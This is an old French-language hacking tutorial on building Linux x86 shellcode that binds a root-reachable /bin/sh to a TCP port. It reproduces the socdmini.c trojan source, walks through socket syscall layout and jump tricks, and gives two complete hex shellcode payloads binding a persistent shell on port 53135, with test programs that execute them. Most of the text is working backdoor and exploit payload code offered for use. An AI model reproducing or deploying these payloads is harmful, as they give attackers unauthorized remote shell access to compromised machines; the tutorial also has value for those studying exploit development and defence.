Exile2k's Giving ~~~~~~~~~~~~~~~~ Conception du shellcode ----------------------- shellcode : bind un shell sur un port de maniere definitive. Je me base ici sur le code socdmini.c ftp.technotronic.com/unix/trojans/socdmini.c --------------------------------------------------------------------------- /* Exile2k's giving ** ---------------- ** original socdmini.c from ftp.technotronic.com/unix/trojans ** this code is property of his author. ** I couldn' be held for any damages caused with this code. ** ** ExileTeam ** ** -------------------------------------------------------------- */ /* quick thingy... bind a shell to a socket... defaults to port 31337 */ /* code by pluvius@io.org */ /* don't forget.. when you connect to the port.. commands are like: */ /* "ls -l;" or "exit;" (don't forget the ';') */ #define PORT 31337 #include #include #include #include #include int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid; struct sockaddr_in serv_addr; struct sockaddr_in client_addr; int main () { soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (soc_des == -1) exit(-1); bzero((char *) &serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); serv_addr.sin_port = htons(PORT); soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); if (soc_rc != 0) exit(-1); if (fork() != 0) exit(0); setpgrp(); signal(SIGHUP, SIG_IGN); if (fork() != 0) exit(0); soc_rc = listen(soc_des, 5); if (soc_rc != 0) exit(0); while (1) { soc_len = sizeof(client_addr); soc_cli = accept(soc_des, (struct sockaddr *) &client_addr,&soc_len); if (soc_cli < 0) exit(0); cli_pid = getpid(); server_pid = fork(); if (server_pid != 0) { dup2(soc_cli,0); dup2(soc_cli,1); dup2(soc_cli,2); execl("/bin/sh","sh",(char *)0); close(soc_cli); exit(0); } close(soc_cli); } } --------------------------------------------------------------------------- La difficulte dans la realisation de ce shellcode est l'organisation des donnees en memoire. Voici les principaux appels successifs qui sont realises : soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); fork(); soc_rc = listen(soc_des, 5); soc_cli = accept(soc_des, (struct sockaddr *) &client_addr,&soc_len); dup2(sock_cli, 0); execl("/bin/sh","sh",(char *)0); syscall utilises : ================== exit ---- %eax : 0x1 %ebx : exit code fork ---- %eax : 0x2 close ----- %eax : 0x6 %ebx : fd a fermer execve ------ %eax : 0x1b %ebx : adresse de argv[0] %ecx : adresse de argv %edx : adresse de env dup2 ---- %eax : 0x3f %ebx : nouveau fd %ecx : ancien fd socket ------ %eax : 0x66 %ebx, %ecx : cf ci dessous Fonctionnement du syscall socket ( 0x66 sur linux/i86 ) ======================================================== Le syscall socket permet de realiser TOUTES les operations liees au socket sous linux: Les fonctions accept, bind, listen, connect sont toutes realisees en passant par le meme syscall. Voici la syntaxe asm at&t de ces differentes fonctions : mov %ebx, %edx mov $0x66, %eax mov FCT, %ebx lea 0x4(%esp, 1) int $0x80 mov %edx, %ebx %eax ~~~~ le syscall socket est le 0x66 %ebx ~~~~ FCT est un numero de sous fonction de socket : socket() : 0x1 bind() : 0x2 connect() : 0x3 listen() : 0x4 accept() : 0x5 %ecx ~~~~ %ecx contient l'adresse de la pile ou ont ete pushes les differents parametres de la fonction appelee. C'est ici que le shellcode va poser des difficultes: il va etre necessaire de reorganiser a chaque fois nos donnees en memoire pour realiser nos differents appel. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ATTENTION: Ceci est valable sous les systemes LINUX. Sous *BSD/BSDi , il existe un syscall pour connect, un pour accept, un pour bind ... et les parametres sont pushes de la meme maniere que pour n'importe quel autre system call. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Rappel : ~~~~~~~~ fonction(1, 2, 3); Les arguments sont pushes de droite a gauche. Notre pile apres l'appel de la fonction aura donc cet aspect lors de l'appel du syscall memoire "haute" [GARB] [0003] [0002] [0001] [seip]______ %esp pointe sur cette adresse. memoire "basse" Voyons un cas pratique : sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); Voila ce que cela donne : 0x80481a3 : push $0x6 0x80481a5 : push $0x1 0x80481a7 : push $0x2 0x80481a9 : call 0x804d220 <__socket> Dump of assembler code for function __socket: 0x804d220 <__socket>: mov %ebx,%edx 0x804d222 <__socket+2>: mov $0x66,%eax 0x804d227 <__socket+7>: mov $0x1,%ebx 0x804d22c <__socket+12>: lea 0x4(%esp,1),%ecx 0x804d230 <__socket+16>: int $0x80 0x804d232 <__socket+18>: mov %edx,%ebx 0x804d234 <__socket+20>: cmp $0xffffff83,%eax 0x804d237 <__socket+23>: jae 0x804d470 <__syscall_error> 0x804d23d <__socket+29>: ret Etat des registres juste avant l'interruption : eax 0x66 102 ecx 0xbffffd7c -1073742468 edx 0xbffffdd4 -1073742380 ebx 0x1 1 Contenu des 3 mots a l'adresse contenue dans %ecx 0xbffffd7c: 0x00000002 0xbffffd80: 0x00000001 0xbffffd84: 0x00000006 Ce qui nous donne donc avec la representation de la pile : 0x0(%ecx): 0x00000002 < premier parametre 0x4(%exc): 0x00000001 < deuxieme parametre 0x8(%ecx): 0x00000006 < troisieme parametre. --------------------------------------------------------------------------- /* Exile2k's giving ** ---------------- ** sebsb@exile2k.org ** socdmini.c restricted to essential code. */ int soc_des, soc_cli, soc_rc, soc_len, server_pid; struct sockaddr_in serv_addr; int main () { soc_des = socket(2, 1, 6); memcpy(&serv_addr, "\x2\x0\xcf\x8f\x0\x0\x0\x0\x30\x96\x4\x8\x44\x96\x4\x8", 16); bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); listen(soc_des, 5); if (fork()) exit(0); while (1) { soc_cli = accept(soc_des, (struct sockaddr *) &serv_addr,&soc_len); if (fork()) { dup2(soc_cli,0); dup2(soc_cli,1); dup2(soc_cli,2); execl("/bin/sh","sh",(char *)0); close(soc_cli); exit(0); } close(soc_cli); } } --------------------------------------------------------------------------- Etapes que doit realiser notre shellcode : Nous allons binder un port et l'ecouter puis nous forker pour sortir normalement du programme exploite. A partir de la , nous attendons en boucle les connexions et nous linkons le shell au connexion ouvertes. Algo: ----- sd = socket(2, 1, 6) | bind(sd, &serv_addr, 16) listen(sd, 4) | fork() | (eax == 0) -------------> exit(0) : ici, le programme exploite quitte | normalement. | |<--------------------------| | | sc = accept(sd, &client_addr,&16) | fork() | | | (eax == 0) ---> close(sc) ------| | dup2(sc, 0) dup2(sc, 1) dup2(sc, 2) execve("/bin/sh",{"/bin/sh",0},0) close(sc) exit(0) Dans advanced buffer-overflow de Taeho Oh, la methode employee est la suivante: D'une part, il ne se fork pas ce qui fait que si jamais votre connexion avec le shell se perd, il faudra reexploiter un service pour pouvoir reacceder a un shell. Par ailleurs, le shellcode est trop long pour pouvoir utiliser un jmp short. Il faut utiliser un jmp near qui va se coder en opcode par e9 xx xx xx xx. La plupart de l'operande va etre representee par des 0x00 du fait de la courte distance de saut. Lui pour ne pas avoir ce probleme realise deux jmp short consecutifs : l'un vers le milieu du shellcode sur un jmp short qui arrive sur le call en fin de shellcode. J'ai choisi une autre methode un peu plus longue qui consiste a mettre 5 nop a la place du jmp near et a le reconstruire en live par des mov. Enfin , lui construit ses data en live par rapport a l'adresse popee dans %esi. J'ai prefere mettre tt de suit mes data dans le shellcode (dumoins en partie). Organisation des donnees : memoire basse /bin : 0x0(%esi) /sh0 : 0x4(%esi) 1234 : 0x8(%esi) 0000 : 0xc(%esi) STRU : 0x10(%esi) CT : 0x14(%esi) SOCK : 0x18(%esi) ADDR : 0x1c(%esi) sd : 0x20(%esi) &sockaddr : 0x24(%esi) 16 / &16 : 0x28(%esi) sc : 0x2c(%esi) memoire haute Maintenant, il faut prendre en compte que on va faire un fork() "deux" fois .. Nous allons donc pouvoir reemployer certaines espaces pour stocker d'autres data dont nous aurons besoin et recouvrir celles dont nous n'aurons plus besoin comme la struct sockaddr_in contenant le port et INADDR_ANY La structre sockaddr_in. Il y a deux maniere de la remplir . La maniere classique est celle ci : serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); serv_addr.sin_port = htons(PORT); Ce qui nous pose un petit probleme : little endian/big endian . En fait , une methode pour etre sur est de la dumper de maniere bete avec ce petit prog: ----------------------- dump-sin.c -------------------- #include #define PORT 53135 int main() { struct sockaddr_in sin; unsigned int i; unsigned char *ptr; void *ptr2; printf("sizeof(struct sockaddr_in) is %i\n", sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = htonl(INADDR_ANY); sin.sin_port = htons(PORT); ptr = (char *) &sin; for(i = 0; i < sizeof(struct sockaddr_in); i++) printf("\\x%x", (unsigned int) ptr[i]); return (0); } ------------------------------------------------- [sebsb@nol0gik rshell]$ ./dump-sin sizeof(struct sockaddr_in) is 16 \x2\x0\xcf\x8f\x0\x0\x0\x0\x30\x96\x4\x8\x44\x96\x4\x8 [sebsb@nol0gik rshell]$ Maintenant, nous allons pouvoir l'inserer en hard dans le shellcode. Quant aux caracteres nuls, nous nous contenterons de les remplacer momentanement par n'importe quoi de non nul et de les recorriger en live lors de l'execution du shellcode. Creation du jump ================ supposons que la distance de saut soit assez courte ... mais superieur a 128 octets .. Notre jump est code comme ceci : jmp near : opcode : e9 23 00 00 00 Le principe est de placer un call juste avant pour placer sur la pile l'adresse de notre jmp et de ensuite le poper dans un registre afn de le mofifier : jmp fc <------ nous jumpons sur le call precedant le "jmp" fj: pop %esi <---- place l'adresse du jmp dans %si movb $0xe9, (%esi) <---- | modification "live" du jmp movl %eax, 0x1(%esi) | movb $0x23, 0x1(%esi) | jmp rj <---- saut vers le jmp modifie fc: call fj <--- sauvegarde l'adresse du jmp rj: jmp fin <---- jmp near , exemple : e9 23 00 00 00 Voila ... Il me semble que toutes les parties subtiles du shellcode ont ete expliquees. Il ne vous reste plus qu'a regarder comment celui-ci est realise. Je n'ai pas commente certains details car il me semble que vous n'utiliserez cette documentation que si vous avez deja une certaine experience des shellcodes. ------------------------------------------------------------------------------- /* Exile2k's giving ** ---------------- ** sebsb@exile2k.org ** shellcode which binds permanently a shell to port 53135 ** ** size : 252 bytes. ** ** Check rshell.txt for further information. ** ** Thi apr 27 00:47:51 CEST 2000 */ /* int main(int argc, char **argv) { // construction du jmp near asm(" jmp fc fj: pop %esi movb $0xe9, (%esi) movl %eax, 0x1(%esi) movb $0x12, 0x1(%esi) jmp rj fc: call fj rj: "); asm(" jmp fin "); // sc = socket(2, 1 ,6); asm(" debut: pop %esi inc %eax movl %eax, 0x24(%esi) movl %eax, %ebx inc %eax movl %eax, 0x20(%esi) movb $0x6, %al movl %eax, 0x28(%esi) movb $0x66, %al leal 0x20(%esi), %ecx int $0x80 movl %eax, 0x20(%esi) "); // Appel a bind(sd, &struct sockaddr, 16) // correction de la structure sockaddr_in codee en hard dans les data. asm(" leal 0x10(%esi), %ecx movl %ecx, 0x24(%esi) leal 0x20(%esi), %ecx xorl %eax, %eax movb %al, 0x11(%esi) movl %eax,0x14(%esi) movb $0x2, %al movl %eax,%ebx movb $0x10, %al movl %eax, 0x28(%esi) movb $0x66, %al int $0x80 "); // appel a listen(sd, 4) asm(" xorl %eax, %eax movb $0x4, %al movl %eax, %ebx movb $0x66, %al int $0x80 "); // appel a fork() asm(" xorl %ebx,%ebx movl %ebx,%eax movb $0x2,%al int $0x80 cmp %eax,%ebx je accept_it xorl %eax,%eax inc %eax int $0x80 "); // appel a sc = accept(sd, &client_addr,&16) asm(" accept_it: leal 0x10(%esi), %ecx movl %ecx, 0x24(%esi) xorl %eax,%eax movb $0x10, %al movl %eax, 0xc(%esi) leal 0xc(%esi), %ecx movl %ecx, 0x28(%esi) leal 0x20(%esi), %ecx movb $0x66, %al movb $0x5, %bl int $0x80 movl %eax, 0x2c(%esi) "); // appel au fork() asm(" xorl %ebx, %ebx xorl %eax, %eax movb $0x2, %al int $0x80 cmp %eax, %ebx je launch movl 0x2c(%esi), %ebx xorl %eax, %eax movb $0x6, %al int $0x80 jmp accept_it "); // associe stdin,stdout et stderr a la socket avec dup2() asm(" launch: movl 0x2c(%esi), %ebx xorl %ecx,%ecx movb $0x3f, %al int $0x80 xorl %eax,%eax movb $0x3f, %al inc %ecx int $0x80 xorl %eax,%eax movb $0x3f, %al inc %ecx int $0x80 "); // execve("/bin/sh","/bin/sh",0,0); asm(" xorl %eax, %eax movb %al, 0x7(%esi) mov %esi, 0x8(%esi) mov %eax, 0xC(%esi) mov %esi, %ebx lea 0x8(%esi), %ecx lea 0xc(%esi), %edx movb $0xb, %al int $0x80 xorl %ebx, %ebx movl %ebx, %eax inc %eax int $0x80 "); // call vers le debut et data asm(" fin: call debut .string \"/bin/sh012340000\x02\xaa\xcf\x8f\xaa\xbb\xcc\xdd\x30\x96\x04\x08\x44\x96\x04\x08\" "); } */ char shellcode[] = "\xeb\x0d" /* jmp 80483aa */ /* : */ "\x5e" /* popl %esi */ "\xc6\x06\xe9" /* movb $0xe9,(%esi) */ "\x89\x46\x01" /* movl %eax,0x1(%esi) */ "\xc6\x46\x01\xbe" /* movb $0xbe,0x1(%esi) */ "\xeb\x05" /* jmp 80483af */ /* : */ "\xe8\xee\xff\xff\xff" /* call 804839d */ /* : */ "\x90\x90\x90\x90\x90" /* jmp 8048472 */ /* : */ "\x5e" /* popl %esi */ "\x40" /* incl %eax */ "\x89\x46\x24" /* movl %eax,0x24(%esi) */ "\x89\xc3" /* movl %eax,%ebx */ "\x40" /* incl %eax */ "\x89\x46\x20" /* movl %eax,0x20(%esi) */ "\xb0\x06" /* movb $0x6,%al */ "\x89\x46\x28" /* movl %eax,0x28(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\x8d\x4e\x20" /* leal 0x20(%esi),%ecx */ "\xcd\x80" /* int $0x80 */ "\x89\x46\x20" /* movl %eax,0x20(%esi) */ "\x8d\x4e\x10" /* leal 0x10(%esi),%ecx */ "\x89\x4e\x24" /* movl %ecx,0x24(%esi) */ "\x8d\x4e\x20" /* leal 0x20(%esi),%ecx */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x11" /* movb %al,0x11(%esi) */ "\x89\x46\x14" /* movl %eax,0x14(%esi) */ "\xb0\x02" /* movb $0x2,%al */ "\x89\xc3" /* movl %eax,%ebx */ "\xb0\x10" /* movb $0x10,%al */ "\x89\x46\x28" /* movl %eax,0x28(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x04" /* movb $0x4,%al */ "\x89\xc3" /* movl %eax,%ebx */ "\xb0\x66" /* movb $0x66,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\xb0\x02" /* movb $0x2,%al */ "\xcd\x80" /* int $0x80 */ "\x39\xc3" /* cmpl %eax,%ebx */ "\x74\x05" /* je 8048407 */ "\x31\xc0" /* xorl %eax,%eax */ "\x40" /* incl %eax */ "\xcd\x80" /* int $0x80 */ /* : */ "\x8d\x4e\x10" /* leal 0x10(%esi),%ecx */ "\x89\x4e\x24" /* movl %ecx,0x24(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x10" /* movb $0x10,%al */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\x8d\x4e\x0c" /* leal 0xc(%esi),%ecx */ "\x89\x4e\x28" /* movl %ecx,0x28(%esi) */ "\x8d\x4e\x20" /* leal 0x20(%esi),%ecx */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x05" /* movb $0x5,%bl */ "\xcd\x80" /* int $0x80 */ "\x89\x46\x2c" /* movl %eax,0x2c(%esi) */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x02" /* movb $0x2,%al */ "\xcd\x80" /* int $0x80 */ "\x39\xc3" /* cmpl %eax,%ebx */ "\x74\x0b" /* je 804843d */ "\x8b\x5e\x2c" /* movl 0x2c(%esi),%ebx */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x06" /* movb $0x6,%al */ "\xcd\x80" /* int $0x80 */ "\xeb\xca" /* jmp 8048407 */ /* : */ "\x8b\x5e\x2c" /* movl 0x2c(%esi),%ebx */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb0\x3f" /* movb $0x3f,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x3f" /* movb $0x3f,%al */ "\x41" /* incl %ecx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x3f" /* movb $0x3f,%al */ "\x41" /* incl %ecx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xb0\x0b" /* movb $0xb,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* incl %eax */ "\xcd\x80" /* int $0x80 */ /* : */ "\xe8\x3d\xff\xff\xff" /* call 80483b4 */ "\x2f\x62\x69\x6e" /* "/bin" */ "\x2f\x73\x68\x30" /* "/sh0" */ "\x31\x32\x33\x34" /* &"/bin/sh" */ "\x30\x30\x30\x30" /* NULL */ "\x02\xaa\xcf\x8f" /* struct sockaddr_in */ "\xaa\xbb\xcc\xdd" /* remplie avec : */ "\x30\x96\x04\x08" /* port : 53135 */ "\x44\x96\x04\x08"; /* adresse : 0.0.0.0 */ int main(int argc, char **argv) { int *b; b = (int *) &b + 2; (char *) *b = shellcode; printf("telnet to port 53135 to have phun\n" "And don't forget to kill all %s running\n", argv[0]); return 0; } ------------------------------------------------------------------------------- Nous obtenons un shellcode de 252 octets. Celui-ci n'est probablement pas optimise. Vous avez tout le loisir de le modifier a votre gout. Voici une autre methode, mixte entre celle de Taeho Oh et la mienne ... Le principe est de builder dynamiquement les data par rapport a %ebp et non de recuperer dans %esi l'adresse des data par un jmp a la fin et un call au debut. Je ne la detaille pas trop dans la mesure ou le shellcode qui est genere fait 269 octets. Merci a binf pour les suggestions concernant cette methode. ------------------------------------------------------------------------------- /* Exile2k's Giving ** ---------------- ** This is another way to bind a shell to a port. ** Thanx to binf for advises. ** shellcode : bind a shell to port 53135 ** */ /* int main() { asm(" movl %ebp, %esp xorl %eax, %eax movw $0x104, %ax add %eax, %esp movl $0x6e69622f, (%esp) movl $0x4268732f, 0x4(%esp) xorl %eax, %eax movl %eax, 0x10(%esp) movb $0x2, 0x10(%esp) movw $0x8fcf, 0x12(%esp) movl %eax, 0x14(%esp) movl $0x08049630, 0x18(%esp) movl $0x08049644, 0x1c(%esp) "); // sc = socket(2, 1 ,6); asm(" inc %eax movl %eax, 0x24(%esp) movl %eax, %ebx inc %eax movl %eax, 0x20(%esp) movb $0x6, %al movl %eax, 0x28(%esp) movb $0x66, %al leal 0x20(%esp), %ecx int $0x80 movl %eax, 0x20(%esp) "); // Appel a bind(sd, &struct sockaddr, 16) // correction de la structure sockaddr_in codee en hard dans les data. asm(" leal 0x10(%esp), %ecx movl %ecx, 0x24(%esp) leal 0x20(%esp), %ecx xorl %eax, %eax movb $0x2, %al movl %eax,%ebx movb $0x10, %al movl %eax, 0x28(%esp) movb $0x66, %al int $0x80 "); // appel a listen(sd, 4) asm(" xorl %eax, %eax movb $0x4, %al movl %eax, %ebx movb $0x66, %al int $0x80 "); // appel a fork() asm(" xorl %ebx,%ebx movl %ebx,%eax movb $0x2,%al int $0x80 cmp %eax,%ebx je accept_it xorl %eax,%eax inc %eax int $0x80 "); // appel a sc = accept(sd, &client_addr,&16) asm(" accept_it: leal 0x10(%esp), %ecx movl %ecx, 0x24(%esp) xorl %eax,%eax movb $0x10, %al movl %eax, 0xc(%esp) leal 0xc(%esp), %ecx movl %ecx, 0x28(%esp) leal 0x20(%esp), %ecx movb $0x66, %al movb $0x5, %bl int $0x80 movl %eax, 0x2c(%esp) "); // appel au fork() asm(" xorl %ebx, %ebx xorl %eax, %eax movb $0x2, %al int $0x80 cmp %eax, %ebx je launch movl 0x2c(%esp), %ebx xorl %eax, %eax movb $0x6, %al int $0x80 jmp accept_it "); // associe stdin,stdout et stderr a la socket avec dup2() asm(" launch: movl 0x2c(%esp), %ebx xorl %ecx,%ecx movb $0x3f, %al int $0x80 xorl %eax,%eax movb $0x3f, %al inc %ecx int $0x80 xorl %eax,%eax movb $0x3f, %al inc %ecx int $0x80 "); // execve("/bin/sh","/bin/sh",0,0); asm(" xorl %eax, %eax movb %al, 0x7(%esp) mov %esp, 0x8(%esp) mov %eax, 0xC(%esp) mov %esp, %ebx lea 0x8(%esp), %ecx lea 0xc(%esp), %edx movb $0xb, %al int $0x80 xorl %ebx, %ebx movl %ebx, %eax inc %eax int $0x80 "); } */ char shellcode[] = "\x89\xec\x31\xc0\x66\xb8\x04\x01\x01\xc4\xc7\x04\x24\x2f\x62\x69\x6e" "\xc7\x44\x24\x04\x2f\x73\x68\x42\x31\xc0\x89\x44\x24\x10\xc6\x44\x24" "\x10\x02\x66\xc7\x44\x24\x12\xcf\x8f\x89\x44\x24\x14\xc7\x44\x24\x18" "\x30\x96\x04\x08\xc7\x44\x24\x1c\x44\x96\x04\x08\x40\x89\x44\x24\x24" "\x89\xc3\x40\x89\x44\x24\x20\xb0\x06\x89\x44\x24\x28\xb0\x66\x8d\x4c" "\x24\x20\xcd\x80\x89\x44\x24\x20\x8d\x4c\x24\x10\x89\x4c\x24\x24\x8d" "\x4c\x24\x20\x31\xc0\xb0\x02\x89\xc3\xb0\x10\x89\x44\x24\x28\xb0\x66" "\xcd\x80\x31\xc0\xb0\x04\x89\xc3\xb0\x66\xcd\x80\x31\xdb\x89\xd8\xb0" "\x02\xcd\x80\x39\xc3\x74\x05\x31\xc0\x40\xcd\x80\x8d\x4c\x24\x10\x89" "\x4c\x24\x24\x31\xc0\xb0\x10\x89\x44\x24\x0c\x8d\x4c\x24\x0c\x89\x4c" "\x24\x28\x8d\x4c\x24\x20\xb0\x66\xb3\x05\xcd\x80\x89\x44\x24\x2c\x31" "\xdb\x31\xc0\xb0\x02\xcd\x80\x39\xc3\x74\x0c\x8b\x5c\x24\x2c\x31\xc0" "\xb0\x06\xcd\x80\xeb\xc2\x8b\x5c\x24\x2c\x31\xc9\xb0\x3f\xcd\x80\x31" "\xc0\xb0\x3f\x41\xcd\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31\xc0\x88\x44" "\x24\x07\x89\x64\x24\x08\x89\x44\x24\x0c\x89\xe3\x8d\x4c\x24\x08\x8d" "\x54\x24\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"; int main(int argc, char **argv) { int *b; printf("%i\n", strlen(shellcode)); b = (int *) &b + 2; (char *) *b = shellcode; printf("telnet to port 53135 to have phun\n" "And don't forget to kill all %s running\n", argv[0]); return 0; } ------------------------------------------------------------------------------- Thanx : Exile2k KreW & binf +EOF+